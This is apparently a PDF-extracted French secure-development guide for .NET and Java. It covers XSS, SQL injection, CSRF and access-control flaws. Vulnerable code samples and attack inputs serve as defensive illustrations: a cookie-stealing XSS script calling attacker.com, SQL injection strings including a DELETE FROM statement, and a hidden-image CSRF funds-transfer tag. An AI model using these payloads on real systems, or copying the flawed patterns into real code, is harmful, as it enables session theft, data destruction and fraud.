Référence : 12AMQ - Version : 1 - Révision : 51 Page 11 / 11

Pictogramme Importance Probabilité Coût Fréquence Facilité

N/A N/A N/A très fréquent N/A

Grande haute élevé fréquent facile

moyenne moyenne modéré périodique moyenne

Faible limitée faible rare difficile

Tableau 3. Pictogrammes utilisés pour les caractéristiques des failles

Enfin les pictogrammes suivants sont utilisés au niveau des catégories et mesures de prévention (ou sous mesures de prévention) pour :

• quantifier l’importance de la catégorie ou de la mesure de prévention (si son importance varie par rapport à la catégorie), comme suit :

important : pénalisant si non suivi, très bon rapport coût / bénéfice, concerne la grande majorité des applications présentant cette faille ;

recommandé : rapport coût / bénéfice assez bon, concerne plus de 50% des cas ;

optionnel : rapport coût / bénéfice moyen ou bas, concerne des cas particuliers ;

• et qualifier le type de prévention de chaque mesure, ce qui déterminera les acteurs et la phase concernés dans le cycle de développement de l’application, comme suit :

architecture / conception : concerne l’architecture de l’application (framework, modèle, librairies, …) ou la phase de conception ;

développement : concerne le développement (méthodes, algorithmes, patterns à éviter, etc.) ou la conception détaillée ;

configuration : concerne la configuration et le déploiement de l’application, la configuration étant parfois très liée à l’architecture ou au développement.

Page 15: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 12 / 12

1 – CWE-079 : Neutralisation incorrecte d’input dans une page Web générée (Cross-Site Scripting / XSS)

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction Probabilité de connaissance Fréquence des attaques Conséquences / impact [CE] [SB]

Description Le Cross-Site Scripting (XSS) est une faille de sécurité que l'on trouve couramment dans les applications web. Ce type de faille peut être utilisé par un attaquant pour provoquer un comportement de l’application différent de celui désiré par le créateur de la page (redirection vers un site, vol d'informations, etc.), en exécutant un script dans le navigateur de la victime.

Le principe est d'injecter des données spécialement formatées dans un site web incluant certains inputs dans des pages générées, par exemple en déposant un message dans un forum, ou par toute donnée présentée dans une page (description, commentaire, etc.), qu’elle soit persistante sur le serveur ou non. Si ces données sont ensuite transmises telles quelles dans une page web au navigateur client sans avoir été vérifiées, alors il existe une faille : un attaquant peut s'en servir pour faire exécuter du code malveillant en langage de script (JavaScript le plus souvent) par le navigateur web qui consulte cette page.

Il s’agit donc d’un type particulier d’injection (voir CWE-89 et CWE-78) dans lequel l’interpréteur visé est le navigateur Web client d’un utilisateur, souvent victime de l’attaque. Une faille XSS peut être de 3 types différents.

• Type 1 – XSS réflexif ou non-persistant : Cette faille se produit lorsque des données issues du client web sont utilisées directement dans une page web générée en réponse à cette requête. Il est alors possible d’introduire des éléments dynamiques de script (javascript en général) qui modifient le comportement de cette page. Une attaque de ce type est généralement combinée avec une usurpation de requête (4 - CWE-352, CSRF), permettant de véhiculer l’injection par des paramètres d’URL, puisque dans ce cas la requête doit effectivement provenir de la victime ;

• Type 2 – XSS persistant : dans ce cas les données contenant le script malicieux sont stockées par l’application, en général dans un SGBD ou tout autre moyen de persistance. Celles-ci sont ensuite présentées à un ensemble d’utilisateurs par l’application dans une ou plusieurs pages générées, sans vérification, injectant sur leur navigateur le script en question. Dans ce cas l’attaquant cherchera à atteindre le plus grand nombre possible d’utilisateurs, ou les utilisateurs ayant des privilèges élevés sur l’application, de façon à pouvoir leur voler ou modifier des données sensibles ;

• Type 3 – XSS basé sur le DOM : cette faille, plus rare, exploite des vulnérabilités dans des scripts d’une page de l’application qui manipulent le Document Object Model (DOM) de cette même page, tels que par exemple des scripts de pré-remplissage des champs d’un formulaire, de validation côté client, de reformatage, etc. Contrairement aux deux types précédents, cette injection ne transite pas par le serveur, mais se fait côté navigateur client : le code malicieux est directement extrait du DOM et injecté dans la page par un script de cette même page, donc considéré de confiance,

Page 16: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 13 / 13

mais qui en réalité constitue la faille. Il est alors possible pour l’attaquant d’introduire d’autres éléments de scripts non-contrôlés sur la page.

Le type 3 (parfois dénommé type 0), est comparable au type 1, dans le sens où c’est la victime qui doit effectuer la requête. Il sera donc souvent combiné à une usurpation de requête (CWE-352, CSRF).

Exemples

Faille XSS de type 1

Dans les exemples figure 2 (JSP) et figure 3 (ASP.NET), un paramètre de la requête HTTP est directement affiché dans une page web générée, sans le moindre contrôle. Ce paramètre peut très bien comprendre une balise <script> avec un script malveillant.

<% String eid = request.getParameter( "eid" ); %> Employee ID: <%= eid %>

Figure 2 : Faille XSS type 1 en JSP

protected System.Web.UI.WebControls.TextBox Login; protected System.Web.UI.WebControls.Label EmployeeID; EmployeeID.Text = Login.Text; ... <p><asp:label id= "EmployeeID" runat= "server" /></p>

Figure 3 : Faille XSS type 1 en ASP.NET

Faille XSS de type 2

La figure 4 (JSP) et la figure 5 (ASP) illustrent l’exploitation d’une faille de type 2 : lecture d’une source de données, puis affichage dans la page web. Il n’y a ici aucun encodage effectué sur cette donnée, qui pourrait donc là encore contenir un script.

<% ... Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery( "select * from emp where id=" +eid); if (rs != null ) { rs.next(); String name = rs.getString( "name" ); %> Employee Name: <% = name %> <% } ...

Figure 4 : Faille XSS type 2 en JSP

protected System.Web.UI.WebControls.Label EmployeeName; string query = "select * from emp where id=" + eid; sda = new SqlDataAdapter(query, conn); sda.Fill(dt); string name = dt.Rows[0][ "Name" ]; EmployeeName.Text = name;

Figure 5: Faille XSS type 2 en ASP.NET

Page 17: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 14 / 14

Pour déterminer si une application web est vulnérable à une attaque de type XSS, il suffit de saisir par exemple dans un champ de formulaire d’une application web l’exécution d’un script :

'><script>document.location='http://www.attacker.co m/cgi-bin/cookie.cgi?foo='+document.cookie</script>' .

Figure 6 : Exemple d'attaque XSS

Cette saisie permet de rediriger la victime vers le site « attacker.com » lors de la validation de la saisie des données du formulaire.

Prévention

Encodage (échappement, quoting) des outputs dans les pages générées

• utiliser des librairies fiables et éprouvées pour la validation des inputs (voir plus bas) et l’encodage des outputs, telles que par exemple :

- OWASP ESAPI Encoding Module, disponible pour tous les langages objets ;

- Java : Apache Wicket ;

- .NET : Microsoft Anti-XSS Library ;

- ASP.NET fourni également un mécanisme intégré de vérification des données saisies dans les requêtes HTTP, activé par configuration dans le fichier web.config , par exemple comme suit :

<system.web> <pages buffer="true" validateRequest="true" /> </system.web>

- utiliser des méthodes d’encodage standard (HtmlEncode , UrlEncode , <c:out/> , …), et éviter les instructions de type Response.Write ou <%=variable%> ;

- avec Struts, mettre l’attribut filter des form beans à true ;

• bien comprendre le contexte dans lequel chaque donnée est utilisée, les

mécanismes sous-jacents, l’encodage attendu et le format de représentation de ces données, le protocole de communication impliqué, etc., pour déterminer une stratégie d’encodage adéquate — ceci est particulièrement important lorsque l’application génère un output comportant plusieurs encodages différents, tel qu’une page Web :

- pour chaque donnée qui sera intégrée à une page HTML générée, encoder cette donnée en fonction du contexte dans la page, à savoir :

• le corps de la page (HTML body),

• les attributs (tels que src="xxx" ),

• les URI ou URL,

• les sections JavaScript,

• les feuilles de style ou sections CSS ;

Page 18: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 15 / 15

- Consulter la XSS Cheat Sheet [8] pour plus de détails sur les types d’encodage et les séquences d’échappement adaptées à chaque contexte ;

• pour chaque page générée, utiliser et spécifier clairement (dans l’entête de la

page, ou dans la requête HTTP) l’encodage du texte, à savoir UTF-8 ou ISO-8859-1, afin d’éviter de laisser le navigateur client choisir lui-même l’encodage, ce qui peut ouvrir la porte à certaines attaques XSS particulièrement subtiles ;

Séparation entre traitement (code) et données (input)

• utiliser des mécanismes qui séparent clairement le traitement et les données, et qui offrent des fonctionnalités de quoting ou d’échappement adéquats, plutôt que de s’appuyer sur le développeur de l’application pour effectuer ces traitements ;

Par exemple, ne jamais stocker dans une même chaîne de caractère du code HTML mélangeant des données avec des balises structurantes de la page ou des scripts : bien garder les données isolées dans des variables dédiées, et utiliser dans la couche présentation un mécanisme de template (JSP, ASP, FreeMarker, Velocity, etc.) dans lequel l’encodage des données injectées est géré (en JSP, <c:out /> ) — les traitements et éléments structurants de la page, stockés dans les templates, restent ainsi séparés des données, stockées dans des variables, et les données sont systématiquement encodées ;

• éviter l’insertion directe d’input lorsque l’ensemble des valeurs possibles est limité : utiliser alors des tables de correspondance avec des valeurs symboliques (par exemple numériques) envoyées côté client, et conserver les données réelles à inclure dans la page stockées côté serveur ;

Par exemple, si un utilisateur doit choisir entre plusieurs options dans une liste déroulante d’un formulaire Web, utiliser des identifiants numériques dans l’attribut value des balises <option> , et les faire correspondre côté serveur aux valeurs qui seront effectivement affichées dans d’éventuelles pages générées — les données à afficher restent ainsi bien séparées du traitement qui consiste à sélectionner l’option.

Contrôle et validation d’input

• considérer que tout input du navigateur est manipulable par un attaquant ;

• n’accepter que les inputs qui répondent strictement aux spécifications, et se baser pour cela de préférence sur une approche whitelist (liste des valeurs ou formats acceptés) plutôt que sur une approche blacklist (liste d’exclusion) :

- pour la génération de page HTML, utiliser une whitelist des caractères attendus des valeurs des paramètres de la requête,

- contrôler et valider toute la requête HTTP (champs hidden, URL, etc.), et non seulement les valeurs des paramètres supposés modifiables par l’utilisateur, dans la mesure où l’URL peut toujours être forgée par un attaquant ;

• lors du contrôle ou de la validation d’un input, considérer toutes les propriétés de ce dernier (longueur, type, caractères spéciaux, format ou syntaxe, valeur manquante, ensemble des valeurs possibles, cohérence avec d’autres champs, etc.) ;

• tous les contrôles de validité d’input effectués côté client doivent être dupliqués côté serveur, car ils peuvent être manipulés facilement par un attaquant côté client ;

Page 19: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 16 / 16

Protection du DOM

• utiliser l’option de cookie HttpOnly , afin d’éviter qu’il soit accessible facilement en JavaScript, limitant donc les attaques XSS sur le cookie de session3 — cet attribut n’offre toutefois pas une protection complète car il n’est pas supporté par tous les navigateurs, et l’usage de XMLHTTPRequest ou équivalent permet d’accéder aux entêtes HTTP, dont Set-Cookie , et donc d’accéder au cookie en lecture ;

• éviter les scripts modifiant le DOM à partir de données utilisateurs qui ne sont pas encore passées par une validation côté serveur ;

3 Cette attaque consiste à dérober, par le biais d’un script, le cookie de session d’un utilisateur pour l’usurper.

Page 20: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 17 / 17

2 – CWE-089 : Injection SQL

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction Probabilité de connaissance Fréquence des attaques Conséquences / impact [DL] [SB]

Description Les failles d’injection, en particulier l’injection SQL, sont courantes dans les applications web. Une injection se produit lorsqu’une donnée fournie par l’utilisateur est directement interprétée par un interpréteur dans le cadre d’une commande ou d’une requête. Les attaquants dupent l'interpréteur en lui faisant exécuter des commandes fortuites via la soumission de données spécialement formatées.

Il existe différents types d’injections : SQL, LDAP, XPath, XSLT, HTML, XML, commandes systèmes, etc. Hormis quelques cas particuliers, les applications web gèrent presque toujours la persistance de leurs données par l'intermédiaire d'une base de données relationnelle, d’où la fréquence des injections SQL.

Une injection SQL exploite le mauvais filtrage par l’application d’inputs utilisés dans des requêtes et instructions SQL (valeurs de paramètres, typiquement). En introduisant des espaces et caractères de fin de chaîne littérale, l’attaquant peut par exemple injecter des clauses supplémentaires ou modifier des clauses de tests.

Les failles d’injection SQL permettent aux attaquants de créer, lire, modifier ou effacer toute donnée arbitraire de la base de données de l’application. Dans le pire des scénarii, ces failles permettent de contourner le contrôle d’accès et la sécurité, voire de compromettre complètement l’application et le système sous-jacent.

Exemples

Java – Requête JDBC permettant une injection SQL

Dans l’exemple de la figure 7, une requête SQL est générée en concaténant des chaînes de caractère provenant d’inputs utilisateur : le nom de login et un paramètre de la requête HTTP. Le problème est qu’ici aucun contrôle ni filtrage n’est effectué sur ce paramètre de requête, qui peut très bien comporter des séquences d’échappement, de séparation de requête (caractère ‘; ’), ou de fin de chaîne littérale SQL (caractère ‘' ’).

String userId = request.getRemoteUser(); String category = request.getParameter( "category" ); String sqlQuery = "select * from ARTICLE where AUTHOR_ID = '" +userId+ "' and CATEGORY = '" +category+ "'" ; try { Statement st = db.createStatement(); ResultSet rs = st.executeQuery(sqlQuery); while(rs.next()) { //... } } catch (SQLException e) { ... }

Figure 7. Exemple de code utilisant JDBC permettant une injection SQL

Page 21: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 18 / 18

La requête SQL que ce code est censé envoyer à la base de données est de la forme :

select * from ARTICLE where AUTHOR_ID = '<authorId> ' and CATEGORY = '<category>'

Imaginons par exemple que Bob fournisse comme catégorie la chaîne « ' or 'a'='a », la requête effectivement envoyée sera alors :

select * from ARTICLE where AUTHOR_ID = 'bob' and C ATEGORY = '' or 'a'='a'

Cette requête est équivalente à récupérer l’ensemble de la table ARTICLE puisque le dernier test, 'a'='a' , sera toujours vrai. La requête initiale, qui doit normalement se limiter aux articles dont l’utilisateur est l’auteur, a donc été détournée par injection SQL.

C# .NET – Construction de requête permettant une injection SQL

L’exemple présenté figure 8 est à peu près équivalent au précédent, mais en C#. Ici, une chaîne comme « name' OR 'a'='a » aura le même effet que dans l’exemple précédent, à savoir renvoyer la table items au complet.

string userName = ctx.getAuthenticatedUserName(); string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'" ; sda = new SqlDataAdapter(query, conn); DataTable dt = new DataTable(); sda.Fill(dt);

Figure 8. Exemple de code C# permettant une injection SQL

Suite de l’exemple précédent : cas d’une injection SQL basée sur le caractère ‘; ’

Dans l’exemple précédente, la valeur « name'; DELETE FROM items; -- » pour le paramètre itemName va générer la requête suivante :

SELECT * FROM items WHERE owner = 'wiley' AND itemn ame = 'name'; DELETE FROM items; --'

De nombreux serveurs de base de données, y compris Microsoft SQL Server 2000, autorisent l’exécution batch de plusieurs requêtes en une fois en les séparant du caractère séparateur de requête ‘; ’. A noter également le double tiret à la fin de chaîne : cette séquence de caractère introduit (pour la plupart des serveurs SQL) un commentaire en fin de ligne, et permet d’ignorer l’apostrophe de fin de requête. Ce type d’attaque va permettre à l’attaquant l’exécution de code SQL arbitraire sur la base de données.

Prévention

Encodage (échappement, quoting) des outputs vers la base de données

• si l’application a vraiment besoin de générer dynamiquement une requête, encoder correctement les données (échappement, quoting) lors de la génération de la requête ;

• se baser sur un framework ou une librairie pour cela — en pratique, en Java et .NET, on préfèrera de loin l’usage de prepared statements ou procédures stockées (voir catégorie suivante), d’où l’absence de fonctions de quoting SQL dans les librairies standards ;

• il peut parfois être plus fiable de ne pas autoriser du tout les méta-caractères, car même après échappement, les données les comprenant pourraient être récupérés par d’autres processus (externes), et réinjectés dans d’autres commandes.

Page 22: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 19 / 19

Par exemple, une autre application Web accédant à la même base de données pourrait récupérer des données et les réinjecter dans ses propres requêtes SQL ;

Séparation entre traitement (code) et données (input)

• utiliser des mécanismes qui séparent clairement le code et les données, et qui offrent des fonctionnalités de quoting ou d’échappement adéquats, plutôt que de s’appuyer sur le développeur pour effectuer ces traitements ;

- utiliser des prepared statements avec des requêtes paramétriques4, ou des procédures stockées – ces mécanismes acceptent des paramètres fortement typés dans lesquels il est difficile d’introduire les injections ;

- éviter les méthodes d’exécution globale de requête (en JDBC executeQuery , en ADO.NET executeNonQuery ) avec la création dynamique de requêtes SQL à partir de chaînes de caractères ;

Utilisation d’un framework ou librairie de persistance fiable et éprouvé

• utiliser une librairie ou un framework de persistance éprouvé et fiable, favorisant une architecture qui limite les risques d’injection (par exemple Hibernate ou Nhibernate) ;

- Java : l’usage de frameworks de persistance est très courant donc peu coûteux ;

- .NET : l’usage de frameworks de persistance est moins courant, donc coûteux ;

Politique de privilèges minimum au niveau de la base de données

• si possible, créer des comptes dédiés en base avec les privilèges minimums pour exécuter une tâche ou un ensemble de tâches donné, limitant ainsi l’étendue d’une attaque éventuelle — il est rare par exemple qu’une application ait besoin d’un compte d’administrateur de base de données pour ses opérations courantes de lecture écriture ;

• suivre la politique de privilège minimum pour chaque ressource, par exemple une table, ou une vue, ou une procédure stockée ;

Contrôle et validation des inputs

• considérer que tout input du navigateur est manipulable par un attaquant ;

• n’accepter que les inputs qui répondent strictement aux spécifications, et se baser pour cela de préférence sur une approche whitelist (liste des valeurs ou formats acceptés) que sur une approche blacklist (liste d’exclusion) ;

• lors de la validation d’un input, considérer toutes les propriétés de ce dernier (type, longueur, caractères spéciaux, format ou syntaxe, valeur manquante, ensemble des valeurs possibles, cohérence avec d’autres champs, etc.) ;

4 un prepared statement de requête paramétrique est un pattern de requête réutilisable et « précompilé » par

le SGBD, prenant des paramètres typés en entrée.

Page 23: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 20 / 20

• tous les contrôles de validité d’input effectués côté client doivent être dupliqués côté serveur, car ils peuvent côté client facilement être manipulés par un attaquant ;

Page 24: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 21 / 21

3 – CWE-120 : Copie de buffer avec source trop grande (buffer overflow)

Ce point n’est pas traité par ce concerne pas le périmètre des applications Java et .NET.

Page 25: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 22 / 22

4 – CWE-352 : Usurpation de requêtes (Cross-Site Request Forgery / CSRF / XSRF)

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction Probabilité de connaissance Fréquence des attaques Conséquences / impact [CE] [DL]

Description L’attaque de type Cross Site Request Forgery (CSRF) est une attaque qui force un utilisateur à exécuter des actions non souhaitées sur une application sur laquelle il est déjà authentifié (typiquement par un cookie). Elle se base sur le fait que les cookies, ou autres mécanismes de gestion d’une session d’authentification, d’un navigateur Web sont globaux au navigateur, partagés entre toutes les fenêtres et onglets de navigation, tant que les requêtes sont adressées au même host, domaine ou sous-domaine. Une fois le client authentifié sur ce navigateur pour ce host ou domaine, peu importe d’où provient le lien sur lequel il clique, ou l’élément (tags <img > , <object > , scripts, etc.) qui génère la requête — page d’un autre site, e-mail, etc. : la requête, si elle est envoyée par ce navigateur, sera authentifiée.

Ce type d’attaque est souvent couplé avec un vecteur externe, de type social engineering, comme l’envoi d’un URL par e-mail ou par messagerie instantanée. L’attaquant peut ainsi faire exécuter à sa victime à son insu des actions mettant en péril l’intégrité ou la confidentialité de données utilisateurs, applicatives, ou l’application entière si l’utilisateur est administrateur de cette dernière.

Pour déterminer si une application est vulnérable aux attaques de type CSRF, le plus simple est de vérifier si les URL des formulaires contiennent des jetons aléatoires pour chaque utilisateur authentifié.

Exemple L’exemple suivant est issu de l’OWASP. Une application bancaire permet une action, une fois l’utilisateur authentifié, avec une URL de ce type :

http://example.com/app/tranfertFunds?amout=1500&des tinationAccount=468683977A

Ici, l’attaque consiste à forger un lien, par exemple encapsulé dans une image invisible et de taille 0 pixel et placé dans une autre page ou un e-mail en HTML.

<img src ="http://example.com/app/tranfertFunds?amout=1500&de stinationAccount= attackerAccountNumber#" width =" 0" height =" 0" >

Figure 9. Exemple de tag IMG permettant de générer une requête à l’insu de l’utilisateur

Si la victime visite un site contenant une telle image et qu’il est déjà authentifié sur son application bancaire, il va déclencher involontairement le transfert de fond sur le compte de son attaquant, de façon totalement invisible.

Page 26: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 23 / 23

Prévention

Contrôle de l’origine de la requête

• ajouter un jeton unique (nonce) à toute source de HTTP POST (formulaire

Web, script générant un HTTP POST) pouvant être à l’origine d’une opération déclenchant des changements d’états, et vérifier ensuite à l’arrivée que cette valeur n’a pas été altérée dans chaque HTTP POST reçu — le nonce doit donc être mémorisé quelque part en session côté serveur ;

• une variante de la méthode précédente est d’utiliser la « double soumission de jeton » décrite par FELTEN et ZELLER [13] — cette technique est plus simple à mettre en œuvre en présence d’un framework Web (type Struts) automatisant la génération et le traitement des formulaires HTML,. Elle présente également de bonnes propriétés, et est donc fortement recommandée ;

Elle consiste à incorporer dans chaque HTTP POST (typiquement par le biais d’un champ hidden dans les formulaires HTML) un paramètre dupliquant l’ID ou jeton de session déjà présent dans le cookie de session. Ainsi cet ID ou jeton est soumis deux fois : dans l’entête HTTP (cookie), et dans le corps du POST. Si le serveur détecte que ces deux valeurs sont différentes à l’arrivée, il refuse l’opération. Cette méthode protège en effet du CSRF dans la mesure où l’attaquant n’a pas accès à l’ID de session, et ne peut pas non plus modifier le cookie soumis, du fait de la politique de « même origine » des cookies implémentée par les navigateurs.

• utiliser exclusivement des requêtes HTTP POST plutôt que des HTTP GET pour des opérations déclenchant des changements d’états ;

• vérifier l’en-tête HTTP-Referer afin de s’assurer que la requête provient bien du contexte normal de l’application, et non pas de l’extérieur — cette méthode n’est toutefois pas très fiable car certains navigateurs ne mettent pas correctement à jour le referrer , des techniques de XSS (CWE-079) permettent de la contourner, et enfin cet en-tête peut être facilement manipulé par un attaquant ;

Utilisation d’un framework ou libraire anti-CSRF fiable et éprouvé

• utiliser des outils, frameworks ou librairies fiables et éprouvés permettant d’éviter cette attaque, comme par exemple :

- le CSRF Guard de l’OWASP ;

- Java : DWR [14] est une librairie facilitant le développement AJAX, qui comprend une protection anti-CSRF nativement, de type « double soumission de cookie » ;

- ASP.NET : le Viewstate permet un premier niveau de contrôle d’intégrité du contexte client à chaque requête HTTP ; il est actif par défaut pour les applications ASP.NET et est configurable dans le web.config comme suit :

<pages enableViewState="false" />

Figure 10 : Activation du viewstate dans une application ASP.NET

Page 27: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 24 / 24

- ASP.NET : l’utilisation de l’outil externe CSRFGuard.NET fournit un 2ème niveau de contrôle et devient pertinent si le viewstate est désactivé. Il se présent sous la forme d’un httpModule à intégrer au niveau de l’application, dans le web.config :

<httpModules> <add type="org.owasp.csrfguard.CSRFGuardModule, CS RFGuard" name="CSRFGuardModule"/> </httpModules>

Figure 11 : exemple d'intégration dans une application ASP.NET

le principe de ce module est de systématiser la gestion d’un jeton unique (ou nonce, cf. plus haut), en interceptant les requêtes HTTP générées par l’application. L’outil est disponible sur le site de l’OWASP [9] et le code source sur GoogleCode [9] ;

Confirmation des opérations dangereuses auprès de l’utilisateur

• identifier les opérations dangereuses ou critiques, et envoyer une demande de confirmation séparée à l’utilisateur avant de l’exécuter ;

Page 28: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 25 / 25

5 – CWE-285 : Contrôle d’accès défaillant ou insuffisant

Caractéristiques

Fréquence de la faille Facilité de détection Coût de correction Probabilité de connaissance Fréquence des attaques Conséquences / impact [SB]

Description Cette vulnérabilité survient lorsque l’application ne vérifie pas systématiquement les droits d’accès d’un utilisateur sur des fonctions ou données protégées ou sensibles, quel que soit le chemin d’exécution ou de traitement de sa requête.

Elle peut-être due à une méconnaissance des technologies ou des mécanismes mis en jeu par l’application Web de la part des développeurs ou concepteurs, à de la négligence, ou à un modèle de contrôle d’accès inadapté à l’application et à sa complexité fonctionnelle

Dans le cadre des applications Web, cette faille peut prendre plusieurs formes différentes, les plus classiques étant :

• L’absence ou la non complétude du contrôle d’accès sur les URL et requêtes HTTP, venant souvent du fait que les concepteurs définissent ce à quoi un utilisateur à accès par l’IHM uniquement, c'est-à-dire les pages HTML, en oubliant que toute requête HTTP peut être forgée (voir le risque OWASP A8 – Failure to restrict URL access) ;

- notamment l’utilisation de références techniques directes à des objets dans les URL, pour lesquelles aucun contrôle d’accès n’est effectué (il s’agit d’un cas particulier très courant de la forme précédente, cf. risque OWASP A4 – Insecure direct object references) ;

• l’accès insuffisamment protégé à une fonction critique, permettant notamment de contourner d’autres restrictions de sécurité (voir les failles 19 et 21 dans le Top 25).

Lorsque les contrôles d’accès ne sont pas effectués de façon systématique, ou pas effectués du tout, cette vulnérabilité engendre des failles pouvant être critiques comme la fuite d’informations, une attaque de type déni de service, voire même l’exécution arbitraire de code.

Exemples

Référence directe à un objet dans un URL

Dans l’exemple de la figure 12 la valeur du paramètre de l’URL identifiant le compte en base de données n’est pas vérifié. Un utilisateur mal intentionné peut modifier cette valeur dans une URL forgée pour la faire pointer vers un compte qui n’est pas le sien, par exemple avec une URL comme :

http://example.com/app/accountInfo?acct=notmyacct

Page 29: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

SNCF - Pôle DSIT-E7 Sécurisation des développements .NET et Java Guide de bonnes pratiques de développement Projet ZEN

Référence : 12AMQ - Version : 1 - Révision : 51 Page 26 / 26

String query = "SELECT * FROM accts WHERE account = ?"; PreparedStatement pstmt = connection.prepareStateme nt(query , ... ); pstmt.setString( 1, request.getParameter("acct")); ResultSet results = pstmt.executeQuery();

Figure 12. Code Java permettant une référence directe à une ressource

Pas de contrôle d’accès au niveau des requêtes HTTP

Supposons qu’une application expose deux URL correspondant à deux pages HTML nécessitant d’être authentifié :

http://example.com/app/getappInfo http://example.com/app/admin_getappInfo

La deuxième page nécessite en outre des droits d’administration. Un lien de la première vers la deuxième apparaît si l’utilisateur est administrateur, comme le montre l’extrait de JSP de la page getappInfo.jsp de la figure 13.

<c:if test ="${user.administrator}" > <p>Access the <a href ="admin_getappInfo" >admin app info </a> page </p> </c:if>

Figure 13. Extrait de JSP avec affichage conditionnel d’un lien vers une page d’administration

Cependant un utilisateur authentifié, qui n’a pas les droits d’administration, peut entrer directement le deuxième URL dans la barre d’adresse de son navigateur. Si l’application lui autorise l’accès, alors il s’agit d’un défaut du contrôle d’accès de l’application, qui pourrait permettre à l’attaquant d’avoir accès à des fonctions sensibles pour lesquelles il ne devrait pas être autorisé.

Une telle situation résulte souvent du fait les contrôles d’accès, bien qu’effectués en amont pour conditionner l’affichage des boutons ou liens permettant d’accéder aux fonctions ou pages protégées, ne sont pas effectués de nouveau ou de façon incomplète lors du traitement de la requête HTTP.

Prévention

Contrôle d’accès sur les requêtes HTTP

• s’assurer que le contrôle d’accès s’effectue correctement lors du traitement de toute requête HTTP sensible (sujette à restriction), et notamment lors de l’accès à toute page Web ou ressource protégée, mais aussi toute requête HTTP déclenchant un changement d’état — les utilisateurs ne doivent pas pouvoir accéder à une fonction ou ressource non autorisée en forgeant une URL ou une requête HTTP POST ;

• vérifier que les pages sensibles ne sont jamais en cache côté serveur, et que les requêtes HTTP sujettes à contrôle d’accès sont authentifiées (par un jeton de session ou autre) et pour un utilisateur possédant bien les droits requis ;

Utilisation d’un framework de contrôle d’accès fiable et structurant

• utiliser une bibliothèque ou un framework de contrôle d’accès et gestion des habilitations éprouvé et fiable, et proposant ou favorisant une architecture ne permettant pas ces défauts, ou permettant de les éviter facilement, par exemple :

Page 30: 12AMQ-Sécurisation des développements NET et Java · Département Études et développements ... aussi à d’autres contextes (client lourd, RIA, autres langages, etc.), leur mise

